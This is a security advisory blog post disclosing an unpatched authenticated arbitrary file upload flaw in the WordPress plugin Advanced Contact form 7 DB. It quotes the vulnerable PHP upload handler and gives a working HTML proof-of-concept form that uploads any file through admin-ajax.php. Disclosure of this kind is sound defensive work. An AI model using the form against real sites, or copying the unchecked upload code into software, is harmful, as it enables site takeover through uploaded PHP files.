Our Proactive Monitoring Caught an Authenticated Arbitrary File Upload Vulnerability in Advanced Contact form 7 DB
One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities before they are exploited. That sometimes leads to us catching a vulnerability of a more limited variant of one of those serious vulnerability types, which isn’t as much concern for the average website, but could be utilized in a targeted attack. That happened with the authenticated arbitrary file upload vulnerability we found was introduced in the most recent version of the plugin Advanced Contact form 7 DB.
The vulnerability could allow an attacker that had access to a WordPress account to upload arbitrary files to the website and by uploading a malicious PHP file they can take just about any action on the website. It also could allow an attacker that could get a user logged in to visit a URL the attacker controls, to exploit the vulnerability as well.
Since the check used to spot this is also included in our Plugin Security Checker (which is accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our main service as well as separately).
The vulnerability occurs due to the fact that a file upload capability is accessible to anyone logged in to WordPress despite only normally being intended to be accessible to Administrator-level users and it does not have any restriction on what types of files can be uploaded.
We notified the developer of the issue over three weeks ago. We haven’t heard back from them and no new version has been released to fix the issue. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.
Underlying Code
The plugin makes the function vsz_acf7_db_edit_scr_file_upload() available to anyone logged in to WordPress through WordPress’ AJAX functionality:
24 | $this->loader->add_action('wp_ajax_acf7_db_edit_scr_file_upload',$plugin_admin,'vsz_acf7_db_edit_scr_file_upload'); |
That function, which is located in the file /admin/class-advanced-cf7-db-admin.php, only requires that several POST inputs are included with a request (the value of them doesn’t matter) and that file was under a certain size before saving a file sent with the request to the server:
970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 | function vsz_acf7_db_edit_scr_file_upload(){ if(!isset($_POST["fid"]) || empty($_POST["fid"])){ print 'error'; exit; } if(!isset($_POST["rid"]) || empty($_POST["rid"])){ print 'error'; exit; } if(!isset($_POST["field"]) || empty($_POST["field"])){ print 'error'; exit; } global $wpdb; $fid = $_POST["fid"]; $rid = $_POST["rid"]; $field = $_POST["field"]; $upload_dir = wp_upload_dir(); $acf7db_upload_folder = VSZ_CF7_UPLOAD_FOLDER; $temp_dir_upload = $upload_dir['basedir'].'/'.$acf7db_upload_folder; wp_mkdir_p($temp_dir_upload); if(is_array($_FILES) && !empty($_FILES)){ $maxsize = 8000000; if(($_FILES['image']['size'] >= $maxsize)) { echo 'invalid_size'; exit; } $filename = sanitize_text_field($_FILES["image"]["name"]); $file_basename = substr($filename, 0, strripos($filename, '.')); // get file name $file_ext = substr($filename, strripos($filename, '.')); // get file extention //unique file name $newfilename = wp_unique_filename($temp_dir_upload, $file_basename.$file_ext); if(move_uploaded_file($_FILES["image"]["tmp_name"], $temp_dir_upload. '/' .$newfilename)){ |
Proof of Concept
The following proof of concept will upload the selected file to the directory /wp-content/uploads/advanced-cf7-upload/, when logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="action" value="acf7_db_edit_scr_file_upload" /> <input type="hidden" name="fid" value="test" /> <input type="hidden" name="rid" value="test" /> <input type="hidden" name="field" value="test" /> <input type="file" name="image" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- August 22, 2018 – Developer notified.